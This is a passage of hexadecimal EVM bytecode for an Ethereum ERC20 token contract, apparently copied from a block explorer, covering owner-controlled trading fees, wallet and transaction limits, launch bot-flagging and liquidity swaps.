32303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610d3d565b6001600160a01b038216600090815260208190526040902054818110156131d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610d3d565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016120f1565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061325b5761325b613761565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156132b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132d89190613744565b816001815181106132eb576132eb613761565b6001600160a01b0392831660209182029290920101526009546133119130911684611fd9565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061334a908590600090869030904290600401613916565b600060405180830381600087803b15801561336457600080fd5b505af1158015613378573d6000803e3d6000fd5b505050505050565b6009546133989030906001600160a01b031684611fd9565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015613406573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061342b9190613952565b5050505050565b6001600160a01b038216600081815260276020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd674691016110bd565b600060208083528351808285015260005b818110156134bb5785810183015185820160400152820161349f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146134f157600080fd5b50565b6000806040838503121561350757600080fd5b8235613512816134dc565b946020939093013593505050565b60008060006060848603121561353557600080fd5b8335613540816134dc565b92506020840135613550816134dc565b929592945050506040919091013590565b60006020828403121561357357600080fd5b5035919050565b6000806000806080858703121561359057600080fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156135be57600080fd5b8135610d59816134dc565b600080604083850312156135dc57600080fd5b82356135e7816134dc565b915060208301356135f7816134dc565b809150509250929050565b60008060006060848603121561361757600080fd5b8335613622816134dc565b95602085013595506040909401359392505050565b80151581146134f157600080fd5b6000806040838503121561365857600080fd5b8235613663816134dc565b915060208301356135f781613637565b600181811c9082168061368757607f821691505b6020821081036136a757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610ca957610ca96136e2565b60008261372c57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610ca957610ca96136e2565b60006020828403121561375657600080fd5b8151610d59816134dc565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156137b05781516001600160a01b03168752958201959082019060010161378b565b509495945050505050565b8481526080602082015260006137d46080830186613777565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561380257600080fd5b5051919050565b60006020828403121561381b57600080fd5b8151610d5981613637565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610ca957610ca96136e2565b60208082526035908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b606082015260800190565b85815284602082015260a06040820152600061393560a0830186613777565b6001600160a01b0394909416606083015250608001529392505050565b60008060006060848603121561396757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212202f96505972d4c3f2f733d02bb1096a25611d57bef5b34606e4c47bc8b9cd67fd64736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0
Deployed Bytecode
0x6080604052600436106103fd5760003560e01c80638da5cb5b11610213578063c024666811610123578063e2f45605116100ab578063e884f2601161007a578063e884f26014610b85578063f11745df14610b9a578063f11a24d314610bba578063f2fde38b14610bd0578063f637434214610bf057600080fd5b8063e2f4560514610b23578063e611bfdb14610b39578063e71dc3f514610b4f578063e7ad9fcd14610b6557600080fd5b8063d257b34f116100f2578063d257b34f14610a72578063d85ba06314610a92578063dc3f0d0f14610aa8578063dd62ed3e14610ac8578063e086e5ec14610b0e57600080fd5b8063c0246668146109f8578063c18bc19514610a18578063c5b45ec014610a38578063c876d0b914610a5857600080fd5b8063a457c2d7116101a6578063abe43b1b11610175578063abe43b1b1461094e578063adb873bd14610965578063b62496f51461097b578063bbc0c742146109ab578063bf163e80146109cb57600080fd5b8063a457c2d7146108d8578063a5ece941146108f8578063a9059cbb14610918578063aa4bde281461093857600080fd5b80639a7a23d6116101e25780639a7a23d6146108765780639c3b4fdc146108965780639fccce32146108ac578063a0d82dc5146108c257600080fd5b80638da5cb5b14610817578063921369131461083557806395d89b411461084b57806396b816091461086057600080fd5b806359d24b8e1161030e57806370a08231116102a15780637bce5a04116102705780637bce5a0414610786578063808a54571461079c578063882c3d98146107bc57806388e765ff146107ec5780638a8c523c1461080257600080fd5b806370a082311461071c578063715018a61461073c578063751039fc146107515780637571336a1461076657600080fd5b80636a486a8e116102dd5780636a486a8e146106b15780636ad6a9fb146106c75780636b0a894c146106e75780636ddd1713146106fd57600080fd5b806359d24b8e1461062b57806361fd1cfa1461065b5780636220a12f1461067b57806366d602ae1461069b57600080fd5b806323b872dd116103915780633610724e116103605780633610724e1461059157806339509351146105b15780633ad10ef6146105d15780634a62bb65146105f15780634b84e0e31461060b57600080fd5b806323b872dd146105135780632be32b61146105335780632e6ed7ef14610555578063313ce5671461057557600080fd5b806318160ddd116103cd57806318160ddd146104bc5780631a8145bb146104d15780631d777856146104e75780631f3fed8f146104fd57600080fd5b8062ff2d441461040957806306fdde03146104325780630758d92414610454578063095ea7b31461048c57600080fd5b3661040457005b600080fd5b34801561041557600080fd5b5061041f60135481565b6040519081526020015b60405180910390f35b34801561043e57600080fd5b50610447610c06565b604051610429919061348e565b34801561046057600080fd5b50600954610474906001600160a01b031681565b6040516001600160a01b039091168152602001610429565b34801561049857600080fd5b506104ac6104a73660046134f4565b610c98565b6040519015158152602001610429565b3480156104c857600080fd5b5060025461041f565b3480156104dd57600080fd5b5061041f60235481565b3480156104f357600080fd5b5061041f60255481565b34801561050957600080fd5b5061041f60225481565b34801561051f57600080fd5b506104ac61052e366004613520565b610caf565b34801561053f57600080fd5b5061055361054e366004613561565b610d60565b005b34801561056157600080fd5b5061055361057036600461357a565b610e6d565b34801561058157600080fd5b5060405160128152602001610429565b34801561059d57600080fd5b506105536105ac366004613561565b610f13565b3480156105bd57600080fd5b506104ac6105cc3660046134f4565b6110c9565b3480156105dd57600080fd5b50600d54610474906001600160a01b031681565b3480156105fd57600080fd5b506014546104ac9060ff1681565b34801561061757600080fd5b506105536106263660046135ac565b611105565b34801561063757600080fd5b506104ac6106463660046135ac565b60106020526000908152604090205460ff1681565b34801561066757600080fd5b506104ac6106763660046135c9565b6111a7565b34801561068757600080fd5b506105536106963660046135ac565b6113b0565b3480156106a757600080fd5b5061041f60075481565b3480156106bd57600080fd5b5061041f60185481565b3480156106d357600080fd5b506105536106e2366004613602565b611460565b3480156106f357600080fd5b5061041f60115481565b34801561070957600080fd5b506014546104ac90610100900460ff1681565b34801561072857600080fd5b5061041f6107373660046135ac565b611553565b34801561074857600080fd5b5061055361156e565b34801561075d57600080fd5b506105536115e2565b34801561077257600080fd5b50610553610781366004613645565b611649565b34801561079257600080fd5b5061041f601e5481565b3480156107a857600080fd5b50600a54610474906001600160a01b031681565b3480156107c857600080fd5b506104ac6107d73660046135ac565b60276020526000908152604090205460ff1681565b3480156107f857600080fd5b5061041f60065481565b34801561080e57600080fd5b50610553611711565b34801561082357600080fd5b506005546001600160a01b0316610474565b34801561084157600080fd5b5061041f60195481565b34801561085757600080fd5b506104476117d4565b34801561086c57600080fd5b5061041f600e5481565b34801561088257600080fd5b50610553610891366004613645565b6117e3565b3480156108a257600080fd5b5061041f60205481565b3480156108b857600080fd5b5061041f60245481565b3480156108ce57600080fd5b5061041f601b5481565b3480156108e457600080fd5b506104ac6108f33660046134f4565b6118d7565b34801561090457600080fd5b50600c54610474906001600160a01b031681565b34801561092457600080fd5b506104ac6109333660046134f4565b611970565b34801561094457600080fd5b5061041f60085481565b34801561095a57600080fd5b50600f5443106104ac565b34801561097157600080fd5b5061041f601c5481565b34801561098757600080fd5b506104ac6109963660046135ac565b60286020526000908152604090205460ff1681565b3480156109b757600080fd5b506014546104ac9062010000900460ff1681565b3480156109d757600080fd5b5061041f6109e63660046135ac565b60166020526000908152604090205481565b348015610a0457600080fd5b50610553610a13366004613645565b61197d565b348015610a2457600080fd5b50610553610a33366004613561565b611a06565b348015610a4457600080fd5b50610553610a533660046135ac565b611b0f565b348015610a6457600080fd5b506017546104ac9060ff1681565b348015610a7e57600080fd5b50610553610a8d366004613561565b611b5a565b348015610a9e57600080fd5b5061041f601d5481565b348015610ab457600080fd5b50610553610ac3366004613561565b611ca5565b348015610ad457600080fd5b5061041f610ae33660046135c9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b1a57600080fd5b50610553611dac565b348015610b2f57600080fd5b5061041f600b5481565b348015610b4557600080fd5b5061041f600f5481565b348015610b5b57600080fd5b5061041f60215481565b348015610b7157600080fd5b50610553610b8036600461357a565b611e18565b348015610b9157600080fd5b50610553611eb8565b348015610ba657600080fd5b50601254610474906001600160a01b031681565b348015610bc657600080fd5b5061041f601f5481565b348015610bdc57600080fd5b50610553610beb3660046135ac565b611eee565b348015610bfc57600080fd5b5061041f601a5481565b606060038054610c1590613673565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4190613673565b8015610c8e5780601f10610c6357610100808354040283529160200191610c8e565b820191906000526020600020905b815481529060010190602001808311610c7157829003601f168201915b5050505050905090565b6000610ca5338484611fd9565b5060015b92915050565b6000610cbc8484846120fe565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610d465760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610d538533858403611fd9565b60019150505b9392505050565b6005546001600160a01b03163314610d8a5760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8610d9f60025490565b610daa9060026136f8565b610db4919061370f565b610dbe919061370f565b811015610e1f5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610d3d565b610e3181670de0b6b3a76400006136f8565b60068190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e975760405162461bcd60e51b8152600401610d3d906136ad565b601e849055601f839055602082905560218190558082610eb78587613731565b610ec19190613731565b610ecb9190613731565b601d81905560021015610f0d5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610d3d565b50505050565b6005546001600160a01b03163314610f3d5760405162461bcd60e51b8152600401610d3d906136ad565b6040805160028082526060820183526000926020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fcb9190613744565b81600081518110610fde57610fde613761565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061101257611012613761565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de9590849061105a90600090869061dead9042906004016137bb565b6000604051808303818588803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b50505050507f2eeb53fcbf689effeb8e8293a75bc46f2d0a6814e3ce3e93d0d4f936c3dc17ca826040516110bd91815260200190565b60405180910390a15050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ca5918590611100908690613731565b611fd9565b6005546001600160a01b0316331461112f5760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b0381166111855760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610d3d565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146111d45760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03831661122a5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610d3d565b306001600160a01b038416036112825760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610d3d565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed91906137f0565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af1158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190613809565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6005546001600160a01b031633146113da5760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03811661143e5760405162461bcd60e51b815260206004820152602560248201527f5f6d61726b6574696e674164647265737320616464726573732063616e6e6f74604482015264020626520360dc1b6064820152608401610d3d565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461146c30611553565b10156114e2576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610d3d565b6114ed838383612c68565b1561154e57600a805460ff60a01b1916600160a01b17905561150d612d71565b600a805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a15b505050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146115985760405162461bcd60e51b8152600401610d3d906136ad565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b0316331461160c5760405162461bcd60e51b8152600401610d3d906136ad565b6002546006556002546007556002546008556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146116735760405162461bcd60e51b8152600401610d3d906136ad565b806116e657600a546001600160a01b03908116908316036116e65760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610d3d565b6001600160a01b03919091166000908152602760205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461173b5760405162461bcd60e51b8152600401610d3d906136ad565b60145462010000900460ff16156117945760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610d3d565b6014805462ffff0019166201010017905543600e556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060048054610c1590613673565b6005546001600160a01b0316331461180d5760405162461bcd60e51b8152600401610d3d906136ad565b600a546001600160a01b03908116908316036118915760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610d3d565b61189b8282612f79565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156119595760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610d3d565b6119663385858403611fd9565b5060019392505050565b6000610ca53384846120fe565b6005546001600160a01b031633146119a75760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b038216600081815260266020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611a305760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8611a4560025490565b611a509060036136f8565b611a5a919061370f565b611a64919061370f565b811015611ac85760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610d3d565b611ada81670de0b6b3a76400006136f8565b60088190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e62565b6005546001600160a01b03163314611b395760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6005546001600160a01b03163314611b845760405162461bcd60e51b8152600401610d3d906136ad565b620186a0611b9160025490565b611b9c9060016136f8565b611ba6919061370f565b811015611c135760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610d3d565b6103e8611c1f60025490565b611c2a9060016136f8565b611c34919061370f565b811115611ca05760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610d3d565b600b55565b6005546001600160a01b03163314611ccf5760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8611ce460025490565b611cef9060026136f8565b611cf9919061370f565b611d03919061370f565b811015611d655760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610d3d565b611d7781670de0b6b3a76400006136f8565b60078190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e62565b6005546001600160a01b03163314611dd65760405162461bcd60e51b8152600401610d3d906136ad565b604051600090339047908381818185875af1925050503d8060008114610f0d576040519150601f19603f3d011682016040523d82523d6000602084013e610f0d565b6005546001600160a01b03163314611e425760405162461bcd60e51b8152600401610d3d906136ad565b6019849055601a839055601b829055601c8190558082611e628587613731565b611e6c9190613731565b611e769190613731565b601881905560041015610f0d5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610d3d565b6005546001600160a01b03163314611ee25760405162461bcd60e51b8152600401610d3d906136ad565b6017805460ff19169055565b6005546001600160a01b03163314611f185760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b038116611f7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d3d565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661203b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d3d565b6001600160a01b03821661209c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d3d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166121245760405162461bcd60e51b8152600401610d3d90613826565b6001600160a01b03821661214a5760405162461bcd60e51b8152600401610d3d9061386b565b6000811161219a5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610d3d565b60145462010000900460ff1661222e576001600160a01b03831660009081526026602052604090205460ff16806121e957506001600160a01b03821660009081526026602052604090205460ff165b61222e5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610d3d565b600f54156122d8576001600160a01b03831660009081526010602052604090205460ff16158061226b57506005546001600160a01b038381169116145b8061228057506001600160a01b03821661dead145b6122d85760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610d3d565b60145460ff16156126d3576005546001600160a01b0384811691161480159061230f57506005546001600160a01b03838116911614155b801561232357506001600160a01b03821615155b801561233a57506001600160a01b03821661dead14155b801561235f57506001600160a01b03831660009081526026602052604090205460ff16155b801561238457506001600160a01b03821660009081526026602052604090205460ff16155b156124c45760175460ff16156124c4576009546001600160a01b038381169116148015906123c05750600a546001600160a01b03838116911614155b15612453576123d06002436138ae565b3260009081526015602052604090205410801561240e57506123f36002436138ae565b6001600160a01b038316600090815260156020526040902054105b61242a5760405162461bcd60e51b8152600401610d3d906138c1565b3260009081526015602052604080822043908190556001600160a01b03851683529120556124c4565b600a54600160a01b900460ff1615801561248657506001600160a01b03831660009081526028602052604090205460ff16155b156124c4576013546001600160a01b038416600090815260166020526040902054116124c45760405162461bcd60e51b8152600401610d3d906138c1565b6001600160a01b03831660009081526028602052604090205460ff16801561250557506001600160a01b03821660009081526027602052604090205460ff16155b156125d65760065481111561256d5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610d3d565b60085461257983611553565b6125839083613731565b11156125d15760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420457863656564206d61782077616c6c657400000000000000006044820152606401610d3d565b6126d3565b6001600160a01b03821660009081526028602052604090205460ff16801561261757506001600160a01b03831660009081526027602052604090205460ff16155b15612681576007548111156125d15760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610d3d565b6001600160a01b03821660009081526027602052604090205460ff166126ad5760085461257983611553565b6001600160a01b03831660009081526027602052604090205460ff16156126d357426013555b60006126de30611553565b600b54909150811080159081906126fc5750601454610100900460ff165b80156127125750600a54600160a01b900460ff16155b801561273757506001600160a01b03851660009081526028602052604090205460ff16155b801561275c57506001600160a01b03851660009081526026602052604090205460ff16155b801561278157506001600160a01b03841660009081526026602052604090205460ff16155b156127af57600a805460ff60a01b1916600160a01b1790556127a1612d71565b600a805460ff60a01b191690555b6001600160a01b03851660009081526026602052604090205460019060ff16806127f157506001600160a01b03851660009081526026602052604090205460ff165b156127fa575060005b6001600160a01b03861660009081526028602052604090205460ff16801561283857506001600160a01b038516600090815260166020526040902054155b15612859576001600160a01b03851660009081526016602052604090204290555b60008115612c5457600f544310801561288a57506001600160a01b03871660009081526028602052604090205460ff165b80156128af57506001600160a01b03861660009081526028602052604090205460ff16155b80156128bd57506000601d54115b15612a3d576001600160a01b03861660009081526010602052604090205460ff1661295d576001600160a01b0386166000908152601060205260408120805460ff19166001908117909155601180549192909161291b908490613731565b90915550506040516001600160a01b03871681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b606461296a8660636136f8565b612974919061370f565b9050601d54601f548261298791906136f8565b612991919061370f565b602360008282546129a29190613731565b9091555050601d54601e546129b790836136f8565b6129c1919061370f565b602260008282546129d29190613731565b9091555050601d546020546129e790836136f8565b6129f1919061370f565b60246000828254612a029190613731565b9091555050601d54602154612a1790836136f8565b612a21919061370f565b60256000828254612a329190613731565b90915550612c369050565b6001600160a01b03861660009081526028602052604090205460ff168015612a6757506000601854115b15612b2957606460185486612a7c91906136f8565b612a86919061370f565b9050601854601a5482612a9991906136f8565b612aa3919061370f565b60236000828254612ab49190613731565b9091555050601854601954612ac990836136f8565b612ad3919061370f565b60226000828254612ae49190613731565b9091555050601854601b54612af990836136f8565b612b03919061370f565b60246000828254612b149190613731565b9091555050601854601c54612a1790836136f8565b6001600160a01b03871660009081526028602052604090205460ff168015612b5357506000601d54115b15612c36576064601d5486612b6891906136f8565b612b72919061370f565b9050601d54601f5482612b8591906136f8565b612b8f919061370f565b60236000828254612ba09190613731565b9091555050601d54601e54612bb590836136f8565b612bbf919061370f565b60226000828254612bd09190613731565b9091555050601d54602054612be590836136f8565b612bef919061370f565b60246000828254612c009190613731565b9091555050601d54602154612c1590836136f8565b612c1f919061370f565b60256000828254612c309190613731565b90915550505b8015612c4757612c47873083612fa7565b612c5181866138ae565b94505b612c5f878787612fa7565b50505050505050565b33600090815260276020526040812054819060ff16612d32576000602554118015612c9d5750602554612c9a30611553565b10155b15612cae57612cae336025546130fc565b5060006025819055600190612cc230611553565b90506000602454602254602354612cd99190613731565b612ce39190613731565b9050811580612cf0575080155b15612d015760009350505050610d59565b600b54612d0f9060076136f8565b821115612d2757600b54612d249060076136f8565b91505b829350505050610d59565b6000612d3d30611553565b1115612d665783600003612d58575060138290556000612d66565b612d6285856130fc565b5060005b6000612cc230611553565b6000602554118015612d8d5750602554612d8a30611553565b10155b15612d9e57612d9e306025546130fc565b60006025819055612dae30611553565b90506000602454602254602354612dc59190613731565b612dcf9190613731565b9050811580612ddc575080155b15612de5575050565b600b54612df39060056136f8565b821115612e0b57600b54612e089060056136f8565b91505b600060028260235485612e1e91906136f8565b612e28919061370f565b612e32919061370f565b9050612e46612e4182856138ae565b613226565b60235447908190600090612e5c9060029061370f565b612e6690866138ae565b602254612e7390856136f8565b612e7d919061370f565b905060006002602354612e90919061370f565b612e9a90876138ae565b602454612ea790866136f8565b612eb1919061370f565b9050612ebd8183613731565b612ec790846138ae565b600060238190556022819055602481905560255592508415801590612eec5750600083115b15612efb57612efb8584613380565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612f35573d6000803e3d6000fd5b50600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612f6f573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0382166000908152602860205260409020805460ff191682151517905561189b8282613432565b6001600160a01b038316612fcd5760405162461bcd60e51b8152600401610d3d90613826565b6001600160a01b038216612ff35760405162461bcd60e51b8152600401610d3d9061386b565b6001600160a01b0383166000908152602081905260409020548181101561306b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610d3d565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906130a2908490613731565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516130ee91815260200190565b60405180910390a350505050565b6001600160a01b03821661315c5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610d3d565b6001600160a01b038216600090815260208190526040902054818110156131d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610d3d565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016120f1565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061325b5761325b613761565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156132b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132d89190613744565b816001815181106132eb576132eb613761565b6001600160a01b0392831660209182029290920101526009546133119130911684611fd9565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061334a908590600090869030904290600401613916565b600060405180830381600087803b15801561336457600080fd5b505af1158015613378573d6000803e3d6000fd5b505050505050565b6009546133989030906001600160a01b031684611fd9565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015613406573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061342b9190613952565b5050505050565b6001600160a01b038216600081815260276020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd674691016110bd565b600060208083528351808285015260005b818110156134bb5785810183015185820160400152820161349f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146134f157600080fd5b50565b6000806040838503121561350757600080fd5b8235613512816134dc565b946020939093013593505050565b60008060006060848603121561353557600080fd5b8335613540816134dc565b92506020840135613550816134dc565b929592945050506040919091013590565b60006020828403121561357357600080fd5b5035919050565b6000806000806080858703121561359057600080fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156135be57600080fd5b8135610d59816134dc565b600080604083850312156135dc57600080fd5b82356135e7816134dc565b915060208301356135f7816134dc565b809150509250929050565b60008060006060848603121561361757600080fd5b8335613622816134dc565b95602085013595506040909401359392505050565b80151581146134f157600080fd5b6000806040838503121561365857600080fd5b8235613663816134dc565b915060208301356135f781613637565b600181811c9082168061368757607f821691505b6020821081036136a757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610ca957610ca96136e2565b60008261372c57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610ca957610ca96136e2565b60006020828403121561375657600080fd5b8151610d59816134dc565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156137b05781516001600160a01b03168752958201959082019060010161378b565b509495945050505050565b8481526080602082015260006137d46080830186613777565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561380257600080fd5b5051919050565b60006020828403121561381b57600080fd5b8151610d5981613637565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164